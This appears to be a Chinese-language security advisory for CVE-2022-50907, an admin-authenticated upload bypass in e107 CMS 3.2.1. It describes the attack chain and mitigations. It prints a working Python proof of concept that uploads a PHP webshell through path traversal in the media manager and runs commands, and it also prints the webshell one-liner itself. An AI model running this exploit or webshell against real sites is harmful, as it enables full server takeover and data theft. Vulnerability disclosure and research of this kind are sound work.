IPBUF安全漏洞报告
English
CVE-2022-50907 CVSS 7.2 高危

CVE-2022-50907: e107 CMS 3.2.1 管理员文件上传绕过导致RCE

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50907
漏洞类型
文件上传绕过、远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
e107 CMS

相关标签

CVE-2022-50907e107 CMS文件上传绕过远程代码执行路径遍历媒体管理器WebShellRCE高危漏洞权限绕过

漏洞概述

CVE-2022-50907是e107 CMS 3.2.1版本中的一个高危安全漏洞,CVSS评分7.2。该漏洞存在于媒体管理器的导入功能中,允许已认证的管理员用户绕过正常的文件上传限制,将恶意PHP文件上传到服务器指定目录。由于e107 CMS在文件上传验证方面存在缺陷,攻击者可以通过操纵上传路径参数实现目录遍历,将WebShell上传到Web根目录,从而实现远程代码执行(RCE)。此漏洞需要攻击者具备管理员权限,但一旦利用成功,攻击者可以在服务器上执行任意命令,完全控制受影响的系统。漏洞的严重性在于其利用复杂度较低,且可导致服务器完全沦陷,对使用e107 CMS的网站构成严重威胁。

技术细节

e107 CMS 3.2.1的媒体管理器模块在处理文件上传请求时存在安全验证缺陷。漏洞的核心问题在于:1) 上传路径参数验证不足:系统未对用户提交的upload目录路径进行严格校验,允许攻击者使用路径遍历技术(如../)访问上层目录;2) 文件类型检查可被绕过:虽然系统声称对上传文件类型有限制,但攻击者可以通过修改Content-Type或文件扩展名绕过检测;3) 上传位置可控制:通过操纵URL参数,攻击者可以将恶意PHP文件直接写入Web可访问目录。攻击者利用此漏洞的典型方法是:首先以管理员身份登录系统,然后访问媒体管理器的导入功能,构造包含路径遍历序列的请求,将webshell.php文件上传到Web根目录,最后通过浏览器访问该文件即可在服务器上执行任意PHP代码或系统命令。

攻击链分析

STEP 1
步骤1
攻击者获取e107 CMS管理员账户凭据(通过钓鱼、暴力破解或其他方式)
STEP 2
步骤2
使用管理员身份登录系统,访问媒体管理器(media.php)的导入功能
STEP 3
步骤3
构造恶意文件上传请求,在文件名或upload_path参数中使用路径遍历序列(如../)绕过目录限制
STEP 4
步骤4
上传包含恶意PHP代码的webshell文件(如<?php system($_GET['cmd']); ?>)到Web可访问目录
STEP 5
步骤5
通过HTTP请求访问上传的webshell,在URL参数中传递系统命令实现远程代码执行
STEP 6
步骤6
攻击者获得服务器完全控制权,可执行任意命令、窃取数据、植入后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2022-50907 PoC - e107 CMS File Upload RCE # Target: e107 CMS 3.2.1 # Vulnerability: Admin authenticated file upload bypass via path traversal def exploit(target_url, username, password): """ Exploit CVE-2022-50907 """ session = requests.Session() # Step 1: Login as admin login_url = f"{target_url}/e107_admin/login.php" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data) # Step 2: Upload malicious PHP file via media manager upload_url = f"{target_url}/e107_admin/media.php" # Path traversal to upload to web root files = { "file": ("../../../shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php") } data = { "mode": "import", "upload_path": "../../.." } resp = session.post(upload_url, files=files, data=data) # Step 3: Execute command via uploaded webshell shell_url = f"{target_url}/shell.php" cmd = "whoami" exec_url = f"{shell_url}?cmd={cmd}" resp = session.get(exec_url) print(f"Command output: {resp.text}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

e107 CMS 3.2.1

防御指南

临时缓解措施
临时缓解措施:在Web服务器配置中禁用上传目录的PHP脚本执行权限(对于Apache可使用<FilesMatch>或.htaccess规则禁止.php文件执行);限制媒体管理器功能仅对必要的管理员开放;实施严格的文件上传大小和类型限制;监控异常的文件上传行为和可疑的HTTP请求模式。在正式修复前,建议使用Web应用防火墙规则阻断包含路径遍历特征(../)的文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表